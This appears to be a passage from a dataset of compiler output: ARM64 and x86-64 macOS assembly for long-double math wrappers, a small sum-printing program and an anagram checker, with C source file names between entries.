.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
fldt -16(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _pow
movsd %xmm0, -56(%rbp)
fldl -56(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sinl ## -- Begin function sinl
.weak_definition _sinl
.p2align 4, 0x90
_sinl: ## @sinl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _sin
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sinhl ## -- Begin function sinhl
.weak_definition _sinhl
.p2align 4, 0x90
_sinhl: ## @sinhl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _sinh
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sqrtl ## -- Begin function sqrtl
.weak_definition _sqrtl
.p2align 4, 0x90
_sqrtl: ## @sqrtl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
sqrtsd %xmm0, %xmm0
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _tanl ## -- Begin function tanl
.weak_definition _tanl
.p2align 4, 0x90
_tanl: ## @tanl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _tan
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _tanhl ## -- Begin function tanhl
.weak_definition _tanhl
.p2align 4, 0x90
_tanhl: ## @tanhl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _tanh
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _acoshl ## -- Begin function acoshl
.weak_definition _acoshl
.p2align 4, 0x90
_acoshl: ## @acoshl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _acosh
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _asinhl ## -- Begin function asinhl
.weak_definition _asinhl
.p2align 4, 0x90
_asinhl: ## @asinhl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _asinh
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _atanhl ## -- Begin function atanhl
.weak_definition _atanhl
.p2align 4, 0x90
_atanhl: ## @atanhl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _atanh
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _cbrtl ## -- Begin function cbrtl
.weak_definition _cbrtl
.p2align 4, 0x90
_cbrtl: ## @cbrtl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _cbrt
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _erfl ## -- Begin function erfl
.weak_definition _erfl
.p2align 4, 0x90
_erfl: ## @erfl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _erf
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _erfcl ## -- Begin function erfcl
.weak_definition _erfcl
.p2align 4, 0x90
_erfcl: ## @erfcl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _erfc
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _expm1l ## -- Begin function expm1l
.weak_definition _expm1l
.p2align 4, 0x90
_expm1l: ## @expm1l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _expm1
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _hypotl ## -- Begin function hypotl
.weak_definition _hypotl
.p2align 4, 0x90
_hypotl: ## @hypotl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
fldt -16(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _hypot
movsd %xmm0, -56(%rbp)
fldl -56(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _lgammal ## -- Begin function lgammal
.weak_definition _lgammal
.p2align 4, 0x90
_lgammal: ## @lgammal
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _lgamma
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _llrintl ## -- Begin function llrintl
.weak_definition _llrintl
.p2align 4, 0x90
_llrintl: ## @llrintl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _logl ## -- Begin function logl
.weak_definition _logl
.p2align 4, 0x90
_logl: ## @logl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _log
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _log1pl ## -- Begin function log1pl
.weak_definition _log1pl
.p2align 4, 0x90
_log1pl: ## @log1pl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _log1p
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _log2l ## -- Begin function log2l
.weak_definition _log2l
.p2align 4, 0x90
_log2l: ## @log2l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _log2
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _logbl ## -- Begin function logbl
.weak_definition _logbl
.p2align 4, 0x90
_logbl: ## @logbl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _logb
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _log10l ## -- Begin function log10l
.weak_definition _log10l
.p2align 4, 0x90
_log10l: ## @log10l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _log10
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _nanl ## -- Begin function nanl
.weak_definition _nanl
.p2align 4, 0x90
_nanl: ## @nanl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _nan
movsd %xmm0, -16(%rbp)
fldl -16(%rbp)
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _nearbyintl ## -- Begin function nearbyintl
.weak_definition _nearbyintl
.p2align 4, 0x90
_nearbyintl: ## @nearbyintl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $12, %xmm0, %xmm0
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _remainderl ## -- Begin function remainderl
.weak_definition _remainderl
.p2align 4, 0x90
_remainderl: ## @remainderl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
fldt -16(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _remainder
movsd %xmm0, -56(%rbp)
fldl -56(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _remquol ## -- Begin function remquol
.weak_definition _remquol
.p2align 4, 0x90
_remquol: ## @remquol
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
movq %rdi, -40(%rbp)
fldt -16(%rbp)
fstpl -56(%rbp)
movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm1 ## xmm1 = mem[0],zero
movq -40(%rbp), %rdi
callq _remquo
movsd %xmm0, -64(%rbp)
fldl -64(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rintl ## -- Begin function rintl
.weak_definition _rintl
.p2align 4, 0x90
_rintl: ## @rintl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $4, %xmm0, %xmm0
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _lrintl ## -- Begin function lrintl
.weak_definition _lrintl
.p2align 4, 0x90
_lrintl: ## @lrintl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _tgammal ## -- Begin function tgammal
.weak_definition _tgammal
.p2align 4, 0x90
_tgammal: ## @tgammal
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _tgamma
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _modfl ## -- Begin function modfl
.weak_definition _modfl
.p2align 4, 0x90
_modfl: ## @modfl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
movq %rdi, -24(%rbp)
fldt -16(%rbp)
fstpl -32(%rbp)
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -24(%rbp), %rdi
callq _modf
movsd %xmm0, -40(%rbp)
fldl -40(%rbp)
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _exp2l ## -- Begin function exp2l
.weak_definition _exp2l
.p2align 4, 0x90
_exp2l: ## @exp2l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _exp2
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/72042.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w8, #10
stur w8, [x29, #-8]
mov w8, #20
stur w8, [x29, #-12]
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
add w9, w8, w9
adrp x8, _g@GOTPAGE
ldr x8, [x8, _g@GOTPAGEOFF]
str w9, [x8]
ldur w9, [x29, #-8]
; implicit-def: $x11
mov x11, x9
ldur w9, [x29, #-12]
; implicit-def: $x10
mov x10, x9
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur w0, [x29, #-16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.comm _g,4,2 ; @g
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "value of a = %d, b = %d and g = %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $10, -8(%rbp)
movl $20, -12(%rbp)
movl -8(%rbp), %ecx
addl -12(%rbp), %ecx
movq _g@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl -8(%rbp), %esi
movl -12(%rbp), %edx
movq _g@GOTPCREL(%rip), %rax
movl (%rax), %ecx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _g,4,2 ## @g
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "value of a = %d, b = %d and g = %d\n"
.subsections_via_symbols
| the_stack_data/55704.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _reset ; -- Begin function reset
.p2align 2
_reset: ; @reset
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str w1, [sp, #4]
str wzr, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
ldr w9, [sp, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x9, [sp, #8]
ldrsw x10, [sp]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB0_1
LBB0_4:
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _anagramma ; -- Begin function anagramma
.p2align 2
_anagramma: ; @anagramma
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2096
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #32]
str x1, [sp, #24]
add x0, sp, #1064
mov w1, #256
bl _reset
str wzr, [sp, #20]
ldr x8, [sp, #32]
ldrb w8, [x8]
strb w8, [sp, #19]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldrb w8, [sp, #19]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldrsb x9, [sp, #19]
add x8, sp, #1064
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
ldr x8, [sp, #32]
ldrsw x9, [sp, #20]
add x8, x8, x9
ldrb w8, [x8]
strb w8, [sp, #19]
b LBB1_1
LBB1_3:
add x0, sp, #40
mov w1, #256
bl _reset
str wzr, [sp, #20]
ldr x8, [sp, #24]
ldrb w8, [x8]
strb w8, [sp, #19]
b LBB1_4
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldrb w8, [sp, #19]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_4 Depth=1
ldrsb x9, [sp, #19]
add x8, sp, #40
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9
ldrb w8, [x8]
strb w8, [sp, #19]
b LBB1_4
LBB1_6:
str wzr, [sp, #20]
str wzr, [sp, #12]
b LBB1_7
LBB1_7: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
subs w8, w8, #256
cset w8, ge
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_7 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, eq
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_7 Depth=1
ldr w8, [sp, #8] ; 4-byte Folded Reload
tbz w8, #0, LBB1_13
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_7 Depth=1
ldrsw x9, [sp, #20]
add x8, sp, #1064
ldr w8, [x8, x9, lsl #2]
ldrsw x10, [sp, #20]
add x9, sp, #40
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB1_12
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_7 Depth=1
mov w8, #1
str w8, [sp, #12]
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_7 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB1_7
LBB1_13:
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, eq
str w8, [sp, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_15
b LBB1_14
LBB1_14:
bl ___stack_chk_fail
LBB1_15:
ldr w8, [sp, #4] ; 4-byte Folded Reload
and w0, w8, #0x1
add sp, sp, #2096
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2064
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #48]
mov x9, sp
add x8, sp, #1055
str x8, [sp, #32] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
str x0, [sp, #16] ; 8-byte Folded Spill
bl _scanf
ldr x0, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
add x8, sp, #54
str x8, [sp, #24] ; 8-byte Folded Spill
str x8, [x9]
bl _scanf
ldr x1, [sp, #24] ; 8-byte Folded Reload
ldr x0, [sp, #32] ; 8-byte Folded Reload
bl _anagramma
str w0, [sp, #44]
ldr w9, [sp, #44]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
bl ___stack_chk_fail
LBB2_2:
mov w0, #0
add sp, sp, #2064
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s"
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _reset ## -- Begin function reset
.p2align 4, 0x90
_reset: ## @reset
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
movl $0, (%rax,%rcx,4)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_1
LBB0_4:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _anagramma ## -- Begin function anagramma
.p2align 4, 0x90
_anagramma: ## @anagramma
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2112, %rsp ## imm = 0x840
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -2072(%rbp)
movq %rsi, -2080(%rbp)
leaq -1040(%rbp), %rdi
movl $256, %esi ## imm = 0x100
callq _reset
movl $0, -2084(%rbp)
movq -2072(%rbp), %rax
movb (%rax), %al
movb %al, -2085(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
